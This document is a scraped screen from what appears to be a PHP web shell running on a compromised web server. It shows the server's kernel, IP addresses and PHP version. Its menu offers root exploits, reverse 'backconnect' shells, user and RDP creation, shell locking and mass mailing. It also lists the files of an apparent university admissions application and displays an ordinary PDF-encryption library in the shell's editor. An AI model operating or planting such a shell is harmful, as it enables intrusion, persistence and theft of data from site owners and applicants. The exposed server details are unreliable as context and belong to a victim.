Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.32.6
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
kus /
adm /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationFormReportPOSTOFFIC...
19.27
KB
-rwxr-xr-x
applicationFormReportSBM.php
8.41
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
cappcontext.php
2.66
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
dropdown.php
844
B
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
fpdf_protection.php
5.61
KB
-rwxr-xr-x
getdata.php
1.06
KB
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.2
KB
-rwxr-xr-x
kusphdadm.php
24.9
KB
-rwxr-xr-x
kusphdadm_01122018.php
17.73
KB
-rwxr-xr-x
kusphdadm_04122018.php
14.16
KB
-rwxr-xr-x
kusphdadm_07032020.php
18.3
KB
-rwxr-xr-x
kusphdadm_16092018.php
11.4
KB
-rwxr-xr-x
kusphdadm_17092018.php
11.72
KB
-rwxr-xr-x
kusphdadm_170920181.php
12
KB
-rwxr-xr-x
kusphdadm_18092018.php
15.92
KB
-rwxr-xr-x
mregistry.php
4.97
KB
-rwxr-xr-x
re_rigistration.php
7.38
KB
-rwxr-xr-x
report_bulk_applications.php
30.47
KB
-rw-rw-r--
report_bulk_applications_04122...
19.42
KB
-rwxr-xr-x
report_bulk_applications_05082...
24.53
KB
-rwxr-xr-x
report_bulk_applications_08092...
19.42
KB
-rwxr-xr-x
report_bulk_applications_12012...
26.73
KB
-rwxr-xr-x
report_bulk_applications_16092...
19.42
KB
-rwxr-xr-x
report_bulk_applications_20092...
19.42
KB
-rwxr-xr-x
report_hall_ticket.php
11.31
KB
-rwxr-xr-x
reportapplicationform - Copy.p...
19.59
KB
-rwxr-xr-x
reportapplicationform.php
23.92
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
saveApplication.php
8.91
KB
-rwxr-xr-x
saveRerigistration.php
10.87
KB
-rwxr-xr-x
student.php
15.64
KB
-rwxr-xr-x
student_04122018.php
13.67
KB
-rwxr-xr-x
subfeedetl.php
3.39
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fpdf_protection.php
<?php /**************************************************************************** * Software: FPDF_Protection * * Version: 1.04 * * Date: 2015-12-06 * * Author: Klemen VODOPIVEC * * License: FPDF * * * * Thanks: Cpdf (http://www.ros.co.nz/pdf) was my working sample of how to * * implement protection in pdf. * ****************************************************************************/ require('fpdf.php'); if(function_exists('mcrypt_encrypt')) { function RC4($key, $data) { return mcrypt_encrypt(MCRYPT_ARCFOUR, $key, $data, MCRYPT_MODE_STREAM, ''); } } else { function RC4($key, $data) { static $last_key, $last_state; if($key != $last_key) { $k = str_repeat($key, 256/strlen($key)+1); $state = range(0, 255); $j = 0; for ($i=0; $i<256; $i++){ $t = $state[$i]; $j = ($j + $t + ord($k[$i])) % 256; $state[$i] = $state[$j]; $state[$j] = $t; } $last_key = $key; $last_state = $state; } else $state = $last_state; $len = strlen($data); $a = 0; $b = 0; $out = ''; for ($i=0; $i<$len; $i++){ $a = ($a+1) % 256; $t = $state[$a]; $b = ($b+$t) % 256; $state[$a] = $state[$b]; $state[$b] = $t; $k = $state[($state[$a]+$state[$b]) % 256]; $out .= chr(ord($data[$i]) ^ $k); } return $out; } } class FPDF_Protection extends FPDF { var $encrypted = false; //whether document is protected var $Uvalue; //U entry in pdf document var $Ovalue; //O entry in pdf document var $Pvalue; //P entry in pdf document var $enc_obj_id; //encryption object id /** * Function to set permissions as well as user and owner passwords * * - permissions is an array with values taken from the following list: * copy, print, modify, annot-forms * If a value is present it means that the permission is granted * - If a user password is set, user will be prompted before document is opened * - If an owner password is set, document can be opened in privilege mode with no * restriction if that password is entered */ function SetProtection($permissions=array(), $user_pass='', $owner_pass=null) { $options = array('print' => 4, 'modify' => 8, 'copy' => 16, 'annot-forms' => 32 ); $protection = 192; foreach($permissions as $permission) { if (!isset($options[$permission])) $this->Error('Incorrect permission: '.$permission); $protection += $options[$permission]; } if ($owner_pass === null) $owner_pass = uniqid(rand()); $this->encrypted = true; $this->padding = "\x28\xBF\x4E\x5E\x4E\x75\x8A\x41\x64\x00\x4E\x56\xFF\xFA\x01\x08". "\x2E\x2E\x00\xB6\xD0\x68\x3E\x80\x2F\x0C\xA9\xFE\x64\x53\x69\x7A"; $this->_generateencryptionkey($user_pass, $owner_pass, $protection); } /**************************************************************************** * * * Private methods * * * ****************************************************************************/ function _putstream($s) { if ($this->encrypted) $s = RC4($this->_objectkey($this->n), $s); parent::_putstream($s); } function _textstring($s) { if (!$this->_isascii($s)) $s = $this->_UTF8toUTF16($s); if ($this->encrypted) $s = RC4($this->_objectkey($this->n), $s); return '('.$this->_escape($s).')'; } /** * Compute key depending on object number where the encrypted data is stored */ function _objectkey($n) { return substr($this->_md5_16($this->encryption_key.pack('VXxx',$n)),0,10); } function _putresources() { parent::_putresources(); if ($this->encrypted) { $this->_newobj(); $this->enc_obj_id = $this->n; $this->_put('<<'); $this->_putencryption(); $this->_put('>>'); $this->_put('endobj'); } } function _putencryption() { $this->_put('/Filter /Standard'); $this->_put('/V 1'); $this->_put('/R 2'); $this->_put('/O ('.$this->_escape($this->Ovalue).')'); $this->_put('/U ('.$this->_escape($this->Uvalue).')'); $this->_put('/P '.$this->Pvalue); } function _puttrailer() { parent::_puttrailer(); if ($this->encrypted) { $this->_put('/Encrypt '.$this->enc_obj_id.' 0 R'); $this->_put('/ID [()()]'); } } /** * Get MD5 as binary string */ function _md5_16($string) { return pack('H*',md5($string)); } /** * Compute O value */ function _Ovalue($user_pass, $owner_pass) { $tmp = $this->_md5_16($owner_pass); $owner_RC4_key = substr($tmp,0,5); return RC4($owner_RC4_key, $user_pass); } /** * Compute U value */ function _Uvalue() { return RC4($this->encryption_key, $this->padding); } /** * Compute encryption key */ function _generateencryptionkey($user_pass, $owner_pass, $protection) { // Pad passwords $user_pass = substr($user_pass.$this->padding,0,32); $owner_pass = substr($owner_pass.$this->padding,0,32); // Compute O value $this->Ovalue = $this->_Ovalue($user_pass,$owner_pass); // Compute encyption key $tmp = $this->_md5_16($user_pass.$this->Ovalue.chr($protection)."\xFF\xFF\xFF"); $this->encryption_key = substr($tmp,0,5); // Compute U value $this->Uvalue = $this->_Uvalue(); // Compute P value $this->Pvalue = -(($protection^255)+1); } } ?>
Close